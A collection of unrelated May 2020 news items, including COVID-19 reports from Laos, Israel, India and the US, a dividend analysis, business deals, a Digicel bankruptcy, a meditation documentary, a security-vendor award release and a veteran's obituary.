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VIENTIANE, May 8 (Xinhua) -- Six out of 10 remaining COVID-19 patients in hospital have tested negative for the virus in the first round testing in Laos, Lao Deputy Minister of Health Phouthone Meaungpak told a press conference on Friday.

The deputy minister said that all patients' health improve significantly, and the six patients who tested negative will be permitted to return home if they test negative for the second round.

All of the 10 infected cases are treated in designated hospital -- Mittaphab Hospital (Hospital 150) in Lao capital Vientiane.

Laos reported no new case of COVID-19 for 26 consecutive days, according to the National Taskforce Committee for COVID-19 Prevention and Control.

As of Friday, Laos tested 2,733 suspected cases with 19 cases tested positive, and nine patients have recovered.

The nine recovered patients included six cases in Lao capital Vientiane and three cases in Luang Prabang province.

Laos announced its first two COVID-19 confirmed cases on March 24. Enditem
Today we'll take a closer look at China BlueChemical Ltd. (HKG:3983) from a dividend investor's perspective. Owning a strong business and reinvesting the dividends is widely seen as an attractive way of growing your wealth. Yet sometimes, investors buy a stock for its dividend and lose money because the share price falls by more than they earned in dividend payments.

With China BlueChemical yielding 7.2% and having paid a dividend for over 10 years, many investors likely find the company quite interesting. We'd guess that plenty of investors have purchased it for the income. Some simple analysis can offer a lot of insights when buying a company for its dividend, and we'll go through this below.

Explore this interactive chart for our latest analysis on China BlueChemical!

SEHK:3983 Historical Dividend Yield May 22nd 2020

Payout ratios

Dividends are typically paid from company earnings. If a company pays more in dividends than it earned, then the dividend might become unsustainable - hardly an ideal situation. So we need to form a view on if a company's dividend is sustainable, relative to its net profit after tax. China BlueChemical paid out 50% of its profit as dividends, over the trailing twelve month period. This is a medium payout level that leaves enough capital in the business to fund opportunities that might arise, while also rewarding shareholders. One of the risks is that management reinvests the retained capital poorly instead of paying a higher dividend.

We also measure dividends paid against a company's levered free cash flow, to see if enough cash was generated to cover the dividend. China BlueChemical paid out 89% of its cash flow last year. This may be sustainable but it does not leave much of a buffer for unexpected circumstances. It's encouraging to see that the dividend is covered by both profit and cash flow. This generally suggests the dividend is sustainable, as long as earnings don't drop precipitously.

With a strong net cash balance, China BlueChemical investors may not have much to worry about in the near term from a dividend perspective.

Story continues

Consider getting our latest analysis on China BlueChemical's financial position here.

Dividend Volatility

From the perspective of an income investor who wants to earn dividends for many years, there is not much point buying a stock if its dividend is regularly cut or is not reliable. For the purpose of this article, we only scrutinise the last decade of China BlueChemical's dividend payments. This dividend has been unstable, which we define as having been cut one or more times over this time. During the past ten-year period, the first annual payment was CN0.07 in 2010, compared to CN0.076 last year. Its dividends have grown at less than 1% per annum over this time frame.

It's good to see some dividend growth, but the dividend has been cut at least once, and the size of the cut would eliminate most of the growth, anyway. We're not that enthused by this.

Dividend Growth Potential

Given that the dividend has been cut in the past, we need to check if earnings are growing and if that might lead to stronger dividends in the future. Strong earnings per share (EPS) growth might encourage our interest in the company despite fluctuating dividends, which is why it's great to see China BlueChemical has grown its earnings per share at 46% per annum over the past five years. Earnings per share have rocketed in recent times, and we like that the company is retaining more than half of its earnings to reinvest. However, always remember that very few companies can grow at double digit rates forever.

Conclusion

When we look at a dividend stock, we need to form a judgement on whether the dividend will grow, if the company is able to maintain it in a wide range of economic circumstances, and if the dividend payout is sustainable. Above all, we're glad to see that China BlueChemical pays out a low fraction of its earnings and, while it paid a higher percentage of cashflow, this also was within a normal range. Next, earnings growth has been good, but unfortunately the dividend has been cut at least once in the past. Overall we think China BlueChemical is an interesting dividend stock, although it could be better.

Investors generally tend to favour companies with a consistent, stable dividend policy as opposed to those operating an irregular one. Still, investors need to consider a host of other factors, apart from dividend payments, when analysing a company. Taking the debate a bit further, we've identified 3 warning signs for China BlueChemical that investors need to be conscious of moving forward.

If you are a dividend investor, you might also want to look at our curated list of dividend stocks yielding above 3%.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Dutch health technology company Philips presents the company's financial results for the fourth quarter in Amsterdam

ISTANBUL (Reuters) - A group of Turkish business associations is looking to buy the household appliances operations of Dutch healthcare equipment maker Philips <PHG.AS> in a plan supported by Ankara, Turkish newspaper Sabah said on Friday.

Philips said in January it was looking to separate the household appliances arm, which makes vacuum cleaners and coffee machines and had $2.6 billion in sales in 2019.

Spokesman Steve Klink said the company is still in the process of disentangling the operations, a process expected to take 12-18 months.

"We would only expect to engage ...(with potential buyers) after the summer," he said.

The Turkish group includes five leading organisations in the business world: the Foreign Economic Relations Board (DEIK), exporters' assembly TIM, the chambers and commodity exchanges union (TOBB) and business associations TUSIAD and MUSIAD, Sabah reported.

"We as Turkey are the most powerful country in production between Germany and China. Hence an economic model must be created by the Turkish business world forming consortiums and buying global brands," said DEIK board member Murat Kolbasi.

Sabah quoted him as saying Trade Minister Ruhsar Pekcan had expressed support for the project.

(Additional reporting by Toby Sterling in Amsterdam;Writing by Daren Butler; Editing by Elaine Hardcastle and Louise Heavens)
Nicolas Audier, chairman of EuroCham

Can the pandemic help speed up mergers and acquisitions (M&A) deals for foreign dealmakers in the coming months as cash-starved Vietnamese companies seek funding to overcome their difficulties?

The M&A market in Vietnam is strong and vibrant. In short, this is because Vietnam has for some time been an attractive destination for foreign investors, and M&A deals are considered one of the most effective forms of market entry. For this reason, M&A transactions have grown in recent years  the total value of M&A deals reached $1.9 billion in the first six months of 2019  and should continue to do so even after the COVID-19 pandemic. It is possible that the pandemic could speed up M&A deals as some companies will become more attractive. However, this is just continuing the trend of foreign investment in Vietnam which started some years ago as the countrys economic growth put it on the map of international enterprises, and has since accelerated with the US-China trade war and the potential of various free trade agreements in place.

Vietnams swift and successful reaction to the pandemic, which has been applauded around the world, has reaffirmed that this is one of the safest and most attractive places to do business for international investors. Indeed, Vietnam is now opening up again, after tough but effective social isolation measures.

This means that companies are now better able to return to normal, profitable business operations compared to elsewhere in the world where restrictions to business operations are still in place, and this is contributing to an increasing interest in M&A activities. In fact, Vietnam could find itself in a fortunate position. Investors in other parts of the world which have been less successful in tackling the pandemic, and are now facing severe short-term economic shocks in their home countries, look for new opportunities in more attractive markets. Vietnam, where GDP growth of around 5 per cent is predicted, could benefit in this scenario.

The health crisis has created both pros and cons for M&A, so how will it impact M&A transactions in 2020 in Vietnam?

We have seen some M&A transactions temporarily put on hold because of COVID-19, however, many others never stopped and are still proceeding as normal. The fact that Vietnam was able to return to normal business operations so soon compared to other countries has helped in this regard and reaffirmed its reputation as a safe, competitive, and attractive place in which to do business. Of course, despite the significant short-term disruption of COVID-19, Vietnam also holds some longer-term advantages for foreign investors.

For instance, the EU-Vietnam Free Trade Agreement (EVFTA) should shortly be ratified, after an upcoming vote in the National Assembly of Vietnam. Many European investors will want to position themselves in Vietnam in order to unlock the full benefits of this agreement.

In particular, the EVFTA will open up new opportunities for European investors. For instance, within five years of its entry into force, EU banks could invest up to 49 per cent in some joint-stock commercial banks. Other sectors which will soon be further opened to EU investors include higher education and telecommunications  both of which have high potential for growth in the future.

The EU and other regions are increasingly worried that businesses will be vulnerable to hostile takeover bids from overseas investors. Are there any concerns over Vietnam's private equity industry, which could be sitting on a cash pile worth millions of dollars?

Europe has been hit particularly hard by the coronavirus, so some European companies could see an increased interest in M&A deals from foreign investors. However, Vietnam is one of the few countries that is forecast to see positive economic growth in 2020. So, there should be no worries about so-called hostile takeovers  just an increase in foreign investment from companies looking for a safe, secure, competitive, and business-friendly market in which to invest.

Vietnamese private equity companies with significant cash reserves could react quickly to developments in the market, which will undoubtedly be unpredictable as the impacts of COVID-19 continue to impact international markets and global trade.
Drug traffickers have been caught smuggling 2kg methamphetamine in boxes of face masks, medicine and hand sanitiser.

Australian Border Force officers thwarted the drug smuggling plot in Sydney after finding the drugs in a package from Canada.

On 6 May, officers opened the package and found boxes of face masks and bottles of hand sanitiser.

But a further inspection revealed the package had a false bottom which contained a black vacuum sealed bag.

On 6 May, officers opened the package and found boxes of face masks and bottles of hand sanitiser with meth hidden inside

The crystal-like substance inside the bag tested positive to methamphetamine. The package contained one kilogram of the drug

The package from Canada had a false bottom which contained a black vacuum sealed bag full of methamphetamine

The crystal-like substance inside the bag tested positive to methamphetamine. The package contained one kilogram of the drug.

Two days later, on May 8, another package from Canada was intercepted by ABF officers at Sydney Gateway Facility.

The box contained face masks and two bottles of hand sanitiser - with 800g of meth hidden inside the bottles.

ABF Superintendent John Fleming said ABF officers are on the look-out for anyone trying to take advantage of the COVID-19 pandemic to smuggle drugs into Australia.

'We know criminals will go to any length to smuggle drugs into the country, so it's no surprise they're trying to use in-demand items such as masks and hand sanitiser to hide them in,' Superintendent Fleming said.

'Criminals should know our efforts to secure our border have not stopped because of COVID-19. Sea containers are still being examined and items being sent through the mail centre or air cargo are still being screened.

We are continuing to detect and stop illicit substances coming into Australia, no matter how they're being concealed.'

The drug bust comes just weeks after more than $80 million worth of liquid methylamphetamine was seized by police in a shipment of water bottles.

A joint operation between ABF officers and Australian Federal Police saw detectives track a shipment from Iran in April.

The shipment of water bottles was analysed by AFP officers at the Sydney Container Examination Facility and found to be suspicious.

A later breakdown discovered the shipment contained nearly 160 litres of liquid methylamphetamine.

SWAT officers raided a business at Old Guildford, in Sydney's west on April 23 and arrested two men aged 48 and 33.

The drug bust comes just weeks after more than $80 million worth of liquid methylamphetamine was seized by police in a shipment of water bottles
Israels sampling of 100,000 citizens blood will provide insights into how widely the novel coronavirus has spread and whether Israelis have sufficient herd immunity against a second outbreak.

This is the most important mission: Get ready for the next wave, especially a wave during wintertime, when flu season will also begin, Ministry of Health Director General Moshe Bar Siman-Tov told The New York Times.

Although nobody knows if antibodies against Covid-19 will protect against reinfectionespecially if the virus mutatesthe Health Ministry said the data will help in p...
Two courts in Algeria jailed three activists after finding them guilty of criticizing President Abdelmadjid Tebboune and the judiciary on social media, which comes under the charge of threatening national unity, according to the National Committee for the Release of Detainees (CNLD

Larbi Tahar and Boussif Mohamed Boudiaf were sentenced to 18 months in prison in El Bayadh, southern Algeria, while Soheib Debghi was sentenced to one year by an Algiers tribunal.

After 20 years under Abdelaziz Bouteflika, voters elected Tebboune last December following Bouteflika's ouster and months of street protests against the political elite.

The activist group CNLD maintains that the new government is quashing human rights. Reports of arrests against journalists, bloggers and others expressing dissent has intensified since the coronavirus pandemic began.

The government passed a law earlier this year criminalizing fake news promoters, as well as one outlawing hate speech on social media.

The Tebboune government claims it will actually improve freedoms later this year when the referendum for a new constitution is put to the vote.
Joe Raedle/Getty

A new analysis being reviewed by the White House shows southern states that moved too quickly to relax social distancing guidelines face significant risk for a resurgence of the coronavirus over the next several weeks. In several cases, counties will see hundreds of additional cases by June 17.

The study, which was put together by PolicyLab at Childrens Hospital of Philadelphia, is part of a data set being reviewed by top coronavirus task force officials and people working with the team, The Daily Beast reported earlier this month. A previous model by the PolicyLab predicted that if officials moved too quickly and too aggressively to reopen in mid-May, individual counties could witness hundreds, if not a thousand-plus, more coronavirus cases reported each day by August 1.

The new model shows that in southern counties, particularly in Texas, Florida, Alabama, and Virginia, the risk for resurgence is high over the next four weeks. These states have moved to reopen, at least partially, since the team published its last model in April.

The data set now takes into consideration current levels of social distancing rather than projections about what would happen when local communities reopened. It also includes data for more than 200 additional counties across the country. The findings indicate that the risk for large second waves of outbreaks remains low if communities continue to implement cautious, incremental plans to reopening that limit crowding and travel to non-essential businesses. Doctors working on the study said that without vigilance in masking, hygiene, and disinfection, certain southern counties will remain high risk.

The new data, which has been presented to members of the White Houses coronavirus task force, is likely to validate fears by doctors and scientists, including Dr. Anthony Fauci, the top infectious disease official in the administration, that opening states too soon could have disastrous health consequences. The news comes as the Trump White House continues to promote the idea of local communities opening up for business, and as the president seeks to shuffle his coronavirus task force in a way that would allow members to focus on reopening the economy. On Wednesday, Vice President Mike Pence traveled to Florida, where he grabbed lunch at a burger joint where few patrons were wearing masks or practicing social distancing, according to photos of the event.

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While the study does not measure the death toll, it does paint a worrisome picture for southern counties over the next month. It raises questions about how local officials will handle a second wave and whether they have enough supplies to handle a spike in daily coronavirus cases.

The key now is understanding the resurgence risk as social distancing begins to change. The picture our models are painting for Texas and Florida provide ample evidence to others who would choose to move too quickly, the doctors working on the study wrote in an analysis associated with Wednesdays update. We see these concerns even as we adjust for additional testing capacity that might have inflated our forecasts.

Florida was one of the first states to reopen. Gov. Ron DeSantis allowed some beaches in the state to reopen in the middle of April even as other areas throughout the state were continuing to see an increasing number of coronavirus cases and related deaths. Since then, he allowed gyms, salons, and theme parks to open. Now, the governor is taking more drastic reopening measures, allowing Miami-Dade and Broward counties to reopen retails shops and salons.

Photo Illustration by Elizabeth Brockway/The Daily Beast/CHoP Policy Lab

As these communities reopen, individuals residing in Miami-Dade County will see the daily coronavirus case count spike from 232 to 785 over the next four weeks and from 68 to 211 in Broward County, according to the study's projections.

Dallas County in Texas will see a similar spike, as will Mobile and Montgomery counties in Alabama, the study says. In Dallas, the daily case count is projected to jump from 233 to 715 by June 17. In Montgomery its projected to go from 35 to 216. And in Mobile County the case count is projected to spike by more than 300 cases from 31 to 366 in the next month.

Photo Illustration by Elizabeth Brockway/The Daily Beast/CHoP Policy Lab

While states in the southern part of the country may suffer a second wave in the next few weeks, counties in the northeast, including hotspot states like New York and New Jersey, will see a decline in the daily number of coronavirus cases. Doctors working on the study attribute that decline to implementing slow, safe reopening measures. In both New York and New Jersey, state officials have moved to reopen parks, outdoor activity facilities, and some construction sites but have avoided allowing mass gatherings. Both states will soon begin to allow more nonessential businesses to reopen, including some doctors offices and retail stores.

In Essex County, New Jersey, for example, a county with one of the highest coronavirus case counts and death tolls in the nation, the case count will drop from 54 to 10 by June 17. And in Queens County, New York, where doctors have in the last few months been inundated with coronavirus patients, the case count will drop from 243 to 74 in the next four weeks, according to the study.

Read more at The Daily Beast.

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The Korea Times President and Publisher Oh Young-jin, right, and Arirang TV CEO Lee Seung-youl pose after signing a business agreement between the two English-language media outlets at Arirang Tower in southern Seoul, Friday. They will promote the exchange of human resources and content through the agreement. Korea Times photo by Choi Won-suk
Nineteen Senate Democrats warned Prime Minister Benjamin Netanyahu and his coalition partner Benny Gantz against Israeli plans to annex settlements in the West Bank and the entire Jordan Valley in a letter Thursday.

The letter  spearheaded by Sens. Chris Murphy of Connecticut, Tim Kaine of Virginia and Chris Van Hollen of Maryland  warns Netanyahu and Gantz that unilateral annexation will be met with deep concern from our mutual allies and partners, including Jordan and Egypt, and nearly universally viewed as a violation of international law.

The formalization of a fragmented and disconnected array of Palestinian islets surrounded by Israeli territory would be rejected by the international community as both unequal and undemocratic, the senators wrote. And most concerning, a unilateral annexation outside of a negotiated agreement would likely erode the strong support among the American people for the special relationship and diplomatic partnership with the United States that Israel currently enjoys.

The letter was a key priority for the left-leaning lobby group J Street, which opposes annexation.

Sen. Dianne Feinstein, D-Calif., sent her own letter with a similar warning to Netanyahu last week.

Why it matters: The stark warning from congressional Democrats comes as Israels ambassador to the United States, Ron Dermer, reportedly lobbies the Donald Trump administration to give Netanyahu the green light for annexation before November in case Democrats take back the White House. The presumptive Democratic presidential nominee, Joe Biden, warned Jewish Democratic donors earlier this week that annexation would choke off any hope of peace, according to remarks obtained by Al-Monitor.

Whats next: While Trumps peace plan lays the groundwork for annexation, the United States appears to have cooled on Netanyahus July timetable amid opposition from Jordan and ambivalence among the prime ministers new Blue and White coalition partners.

Know more: Ben Caspit will interview former Israeli Prime Minister Ehud Olmert for his new podcast, On Israel, on Monday. In the meantime, read his story outlining the challenges that Defense Minister Benny Gantz faces before he takes over as prime minister next year under his power-sharing deal with Netanyahu.
One former sceptic says he thought meditation was "for people who were really into kombucha and crystals and Enya" until he read what scientists, doctors and psychologists were saying about its potential benefits for reducing anxiety and treating depression. At the start of the experiment three years ago, Harvey says she was a 36-year-old mother of two young sons - aged 14 months and four - who was struggling. "Emotionally I was in a pretty dark place," she says on the phone during isolation on Sydney's northern beaches. She had spent way too much money trying to get healthier since being diagnosed with what is now considered to be Sjogren's syndrome at the age of 24. Testing the brain's structure and function with an MRI scan: Shannon Harvey with Professor Nicolas Cherbuin, head of the Centre for Research on Ageing, Health and Wellbeing at Australian National University, while making the documentary My Year Of Living Mindfully. Credit:Elemental Media Looking for "the brain's equivalent of a 30-minute jog around the block or the mind's daily serving of five fruit and vegetables", Harvey decided to investigate a popular technique known as mindfulness meditation.

"An eight-week program underpinned by mindfulness has repeatedly been found equal to medication in preventing recurrent depression," she says early in the film. "Given the mental health crisis, should we all be practising mindfulness in the same way that we should exercise and eat our vegetables? Or is this evidence too good to be true?" Harvey began meditating initially for 20 minutes every day using an app - training her mind to "objectively view my inner thoughts, emotions and experiences" - took an eight-week group meditation course and went on a 10-day silent retreat while interviewing scientists, researchers, teachers and people who had benefited - and, in one case, not - from the practice. In Israel, a traumatised Eritrean asylum seeker describes meditation as "like a medicine", given the absence of any other mental health support. But in a refugee camp in Jordan, Harvey realises it has no value for an exhausted single mother of six whose life is a daily struggle. Not much demand for "Mindful Mayo" there. Many of the researchers interviewed for the film saw value in studying the physical affects of meditation.

"The number one thing determining health is the mind," says Dr Craig Hassed from Monash University's Department of General Practice. "It affects us directly because what goes on in our mental and emotional state influences us physiologically. "But there's the indirect effects as well. So when we're not feeling good in ourselves, we're not likely to look after ourselves well and eat well and exercise, so everything is impacted by our state of mind." Without spoiling the conclusions in the film, there were physical changes, but measuring them was more complicated than it was for Spurlock in Super Size Me. But Harvey, who previously made the 2014 documentary The Connection about chronic illness, has no doubt meditation has changed her life "in an immeasurably better way". After building to 45 minutes and sometimes two hours a day during the experiment, she has continued meditating for almost 1000 days now and has gone from regular insomnia to not having a single sleepless night, despite the stress of releasing a film during a pandemic. "To put that in context, we're in the middle of postponing indefinitely 150 screenings around the world on a project that we've been working on for three years and we have two young children at home," she says. "That says a lot about the impact of mindfulness on my life."

Is she happier? "The surprising truth is that I don't think mindfulness makes me any happier," Harvey says. "I know that's going to sound controversial to anyone who's ever read any bestselling mindfulness book. But, for me, mindfulness makes me more comfortable in life's inevitable discomfort." 'For me, mindfulness makes me more comfortable in life's inevitable discomfort.' Filmmaker Shannon Harvey That awkward phrase - "life's inevitable discomfort" - refers to what Harvey discovered while making the film. "Halfway through the project, the biggest thing was realising that, although I'd been given this excellent education in this wonderful, peaceful country and all the fantastic opportunity that comes with that, nobody had ever taught me how to suffer. For me, that's what mindfulness has done ... I'm able to suffer better."
[May 22, 2020] ReversingLabs Honored As Silver Stevie Award Winner In 2020 American Business Awards

CAMBRIDGE, Mass., May 22, 2020 (GLOBE NEWSWIRE) -- ReversingLabs, the leading provider of explainable threat intelligence solutions, was named the winner of a Silver Stevie Award in the New Product & Service: Artificial Intelligence and Machine Learning Solution category in The 18th Annual American Business Awards.

The American Business Awards are the U.S.A.s premier business awards program. All organizations operating in the U.S.A. are eligible to submit nominations  public and private, for-profit and non-profit, large and small. Nicknamed the Stevies for the Greek word meaning crowned, the awards will be virtually presented to winners during a live event on Wednesday, August 5. Tickets for the virtual event are now on sale . More than 3,600 nominations from organizations of all sizes and in virtually every industry were submitted this year for consideration in a wide range of categories, including Startup of the Year, Executive of the Year, Best New Product or Service of the Year, Marketing Campaign of the Year, Live Event of the Year, and App of the Year, among others. ReversingLabs was nominated in the New Product & Service category for Business Technology: Artificial Intelligence and Machine Learning Solution ReversingLabs Titanium Platform is the first threat intelligence platform with explainable machine learning. It is designed to automate incident response processes with verified results that provide the context and transparency needed for analysts to take informed action on zero-day threats while also upskilling analysts one event at a time. Using ReversingLabs repository of more than 10 billion goodware and malware samples--the largest in the industry--ReversingLabs Titanium Platform has the breadth, depth, and scale of data to train effective machine learning models and convert information into relevant findings, and is trusted by more than 160 customers. We are honored to be among the 2020 Stevie winners, an elite group representing some of the best, brightest, and most innovative American companies, said Mario Vuksan, CEO and co-founder, ReversingLabs. ReversingLabs Titanium Platforms glass box approach to threat intelligence and detection provides human readable reports that empower analysts to act quickly and confidently, and reskills them gradually over time. This focus on the analyst addresses two considerable but crucial gaps currently observed in the security marketa lack of context around machine learning verdicts and the cybersecurity skills gap. Security is crucial for organizations in this new digital era. Using the latest and greatest technology is very needed to tackle the attacks and malware. Hackers use innovative was to attack the systems, and the machine learning models should be one step ahead to combat the attacks, said the Stevie judges. Automated incident response is the need of the hour today. Companies deal with sophisticated attacks which are difficult to trace, debug and guard against.



More than 230 professionals worldwide participated in the judging process to select this years Stevie Award winners. Despite the toughest business conditions in memory, American organizations continue to demonstrate their commitment to innovation, creativity, and bottom-line results, said Stevie Awards president Maggie Gallagher. This years Stevie-winning nominations are full of inspiring stories of persistence, ingenuity, resourcefulness, and compassion. We celebrate all of their stories and look forward to showcasing them during our virtual awards ceremony on August 5.

Details about The American Business Awards and the list of 2020 Stevie winners are available at www.StevieAwards.com/ABA . About ReversingLabs

ReversingLabs helps Security Operations Center (SOC) teams identify, detect and respond to the latest attacks, advanced persistent threats and polymorphic malware by providing explainable threat intelligence into destructive files and objects.

ReversingLabs technology is used by the worlds most advanced security vendors and deployed across all industries searching for a better way to get at the root of the web, mobile, email, cloud, app development and supply chain threat problem, of which files and objects have become major risk contributors. ReversingLabs Titanium Platform provides broad integration support with more than 4,000 unique file and object formats, speeds detection of malicious objects through automated static analysis, prioritizing the highest risks with actionable detail in only .005 seconds. With unmatched breadth and privacy, the platform accurately detects threats through explainable machine learning models, leveraging the largest repository of malware in the industry, containing more than 10 billion files and objects. Delivering transparency and trust, thousands of human readable indicators explain why a classification and threat verdict was determined, while integrating at scale across the enterprise with connectors that support existing SIEM, SOAR, threat intelligence platform and sandbox investments, reducing incident response time for SOC analysts, while providing high priority and detailed threat information for hunters to take quick action. Learn more at https://www.reversinglabs.com , or connect on LinkedIn or Twitter . About the Stevie Awards

Stevie Awards are conferred in eight programs: the Asia-Pacific Stevie Awards, the German Stevie Awards, the Middle East Stevie Awards, The American Business Awards, The International Business Awards, the Stevie Awards for Women in Business, the Stevie Awards for Great Employers, and the Stevie Awards for Sales & Customer Service. Stevie Awards competitions receive more than 12,000 entries each year from organizations in more than 70 nations. Honoring organizations of all types and sizes and the people behind them, the Stevies recognize outstanding performances in the workplace worldwide. Learn more about the Stevie Awards at http://www.StevieAwards.com . Sponsors of The 2020 American Business Awards include John Hancock Financial Services, Melissa Sones Consulting, and SoftPro. Media Contact:

Jennifer Balinski, Guyer Group

[email protected]

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Usage Based Insurance will help low-risk drivers to get more affordable rates. They will get personalized rates based on their performance, said Russell Rabichev, Marketing Director of Internet Marketing Company.

Compare-autoinsurance.org has launched a new blog post that presents the advantages and disadvantages of usage-based car insurance programs.

For more info and free car insurance quotes, visit https://compare-autoinsurance.org/drivers-can-get-cheaper-car-insurance-if-they-install-telematics/

The COVID-19 pandemic has affected the lives of all Americans. Given the current situation, most Americans are doing their best to save money. Nowadays, more and more drivers are switching to usage-based insurance programs. The surge in popularity for usage-based car insurance policies in this period is not surprising. Drivers who were affected by the current crisis can save money on their car insurance if they switch to a usage-based program.

UBI insurance is a relatively new type of insurance. It relies on data transmitted by onboard devices. After analyzing the data, insurance companies will re-evaluate the risk profile of a client and adjust rates. These are UBIs main features and benefits:



As the name suggests, UBI rates rely on the way the driver uses his car. More exactly, rates will fluctuate depending when and where it drivers, how it takes curves, how he brakes, maximum speed and other related parameters.

UBI policies have become popular in the recent years. It is a top choice for people considering themselves good drivers. Safe drivers who want to keep their premiums low or even lower them can always talk with their insurance providers and check for available UBI programs.

Many insurance providers are offering discounts for using telematics. Telematics are devices that track the drivers behavior, allowing the insurance company to provide a customized quote based on the drivers measured risk factor. Insurers like Allstate or Progressive are offering discounts of at least 5% just for agreeing to install a telematics device. However, drivers who have a very low measured risk factor can get a discount of up to 40% or 50%. Drivers who drive fewer miles than average drivers, or drive outside of busy rush hour traffic, might be considered to have a lower risk factor.

UBI insurance provides several financial benefits. If the driver meets the insurers expectations, he will be greatly rewarded. Drivers will have access to customized rates that will lower the insurance costs.

Tips on improving driving skills. Another advantage is the instant feedback that a driver receives after data is analyzed. This will help driver understand his mistakes and improve his driving habits.

Recover stolen vehicles. Since UBI policies rely on installed tracking devices, once the insurer is notified that the car is stolen, it can access the device and pinpoint the location.

For additional info, money-saving tips and free car insurance quotes, visit https://compare-autoinsurance.org/

Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc.
Noida, May 22 : As Greater Noida faces the maximum brunt of Covid-19 spread in Lockdown 4.0, five more OPPO employees have now tested positive for the dreaded virus.

These employees are among the 3,000 workers (30 per cent of the company's workforce) who underwent Covid-19 test after six workers had tested positive last week at the Chinese smartphone brand's factory in Kasna, Greater Noida, leading to suspension of all operations till further notice.

According to reliable company sources, five more employees have now tested positive, taking the tally of positive cases to 11.

"The company has asked us to stay at home till further notice," an OPPO worker told IANS on condition of anonymity.

Earlier, an OPPO India spokesperson said in a statement that they have conducted Covid-19 test on more than 3,000 employees, the results of which were awaited.

"In the wake of the current situation, we have suspended all our operations at our manufacturing facility in Greater Noida and will allow only those employees to return to work who have tested negative. The employees who test positive will be taken to the quarantine facilities for treatment," the company spokesperson said.

Meanwhile, another Chinese smartphone brand, Vivo, said earlier this week that its manufacturing unit in Kasna never stopped production since its reopening on May 9, and the two third-party construction workers at one of its upcoming sites, who were earlier found Covid-19 positive, have now tested negative in fresh tests.

The company said that no worker at the Vivo factory has been found Covid-19 positive till now.

"As per the latest test reports, both the workers have been found Covid-19 negative," said the company.

The two construction workers were earlier misdiagnosed at the construction site of the new Vivo manufacturing plant which is 15 km away from the operational factory and is managed by a third-party construction company.

Vivo said the operational facility continues to abide by all the prescribed standard operating procedures (SOPs) to ensure safety and well-being of its current 3,000 employees (30 per cent of the total workforce) that continue to work at the Greater Noida facility.

Noida has seen over 300 Covid-19 cases till date. With the spike in the number of coronavirus patients, the number of containment zones is also increasing steadily. At present, the district has a total of 63 containment zones.
Jean-Yves Charlier, CEO of Digicel, may just have jumped from the frying pan (Veon) to the fire (Digicel).

Digicel, the Caribbean and Pacific mobile operator, has filed for bankruptcy, saying it has "unsustainable levels of indebtedness.





According to filings in New York, it has US$7.4 billion in outstanding debt, with revenues for the year ending March 2020 just $2.3 billion and operating profit only $479 million. KPMG has been appointed provisional liquidators.





The company is largely owned by Denis OBrien, the Irish businessman who made a fortune by building Irelands first competitive mobile operator, Esat Digifone, which he sold to BT and later became O2 Ireland.





Digicel has already made an earlier attempt to restructure its operations, but now it has told the Securities and Exchange Commission (SEC), the US financial regulator, that it now wants to offer its Pacific business, worth $941 million, as security to creditors in a debt restructuring.





But Digicel needs court approval in Bermuda, where it is registered, for the offer to put up the Pacific business as security. If approved, the deal will go into effect on 15 June.





The group was not listed, having abandoned an attempt to float shares in 2015, but because it had issued bonds in the US, it has to report its finances to the SEC.





According to its filings, it made a combined net loss of almost $700 million in the three and a half years to September 2019. An analysis in the Irish Times says that KPMG has calculated that "a firesale of its assets would raise $484 million to $629 million.





The group has businesses in Papua New Guinea and five other island nations in the Pacific: Fiji, Nauru, Samoa, Tonga and Vanuatu, with 2.5 million customers between them.





But its main focus is the Caribbean and Central America where its businesses range from French Guiana on the South American mainland, to Jamaica in the Caribbean, to El Salvador on the east coast of Central America.





A spokesman for Digicel said that the Chapter 15 (bankruptcy) filing in New York would not affect operations in the 32 markets, SVG included, that the company serves from its headquarters in Jamaica.





The CEO of the Digicel group is Jean-Yves Charlier, who took up the role in January 2019 after a difficult time at Veon, the former VimpelCom.





Two years ago, Digicel raised $90 million in an effort to reduce debt, by selling its Jamaican towers to Phoenix Tower International, which had already bought 417 of its towers in El Salvador and Francophone countries in the West Indies. (Source: CSP)




New Delhi, May 22 : Indian Army oldest artillery man Major (retd) Gurdial Singh Jallanwalia, who fought four wars, including World War II and two wars against Pakistan, has passed away. He was 103.

The war veteran breathed his last on May 21, a senior Indian Army officer said on Friday.

Jallanwalia and 13 of his family members served in the Indian Army and have the distinction of having fought all wars since the World War 1. Jallanwalia's father Risaldaar Duleep Singh fought in the World War 1 in Mesopotamia (today's Iraq).

Jallanwalia was shot in Burma during the World War II. He along with others was sent to Burma (now Myanmar) by road from Bangalore to fight war against the Japanese in 1944 during World War II. When he along with other army personnel reached the Iraawadi river, they were shot at by a Japanese soldier. He gathered his team and killed two Japanese hidden in the bushes in an open field but he got hit by a bullet.

He had served as a gunner for more than three decades in the Indian Army.

Born on August 21, 1917, Jallanwalia matriculated from the Royal Indian Military School, Jalandhar Cantt and then joined the Mountain Artillery Training Center on June 15, 1935. On completion of training, he was posted with 14 Rajputana Mountain Battery at Abbottabad (now in Pakistan). Later in 1940 , he was posted to a Survey Troop at Cammbellpur (now in Pakistan).

In 1941, the Survey Regiment was upgraded and subsequently in 1942 it became the first Survey regiment. He later got permanent Regular Commission as Second Lieutenant in 1947 and was posted to 40 Field Regiment.

In 1939 and 1940, he took part in Ahmadzai-Waziristan Operation in North West Frontier Province, now in Pakistan. After Independence, Gurdial Singh participated in the action against infiltration of Jammu and Kashmir in the Nowshera Sector in 1948.

In 1965's Indo-Pakistan war in Amritsar-Lahore Sector, he served as Counter Bombardment officer in XI Corps.

He is pioneer in developing surveillance and target acquisition in Indian Artillery after India got Independence. He bid farewell to Indian Army in 1967.

He is survived by his two sons -- Harmanderjeet Singh and Harjinderjeet Singh - who joined the Indian Army and Indian Air Force respectively and fought during in Kargil war in 1999.
One of the UKs most distinguished scientists has launched a scathing attack on Boris Johnsons government, claiming the response to the coronavirus pandemic has been too much on the back foot during successive crises.

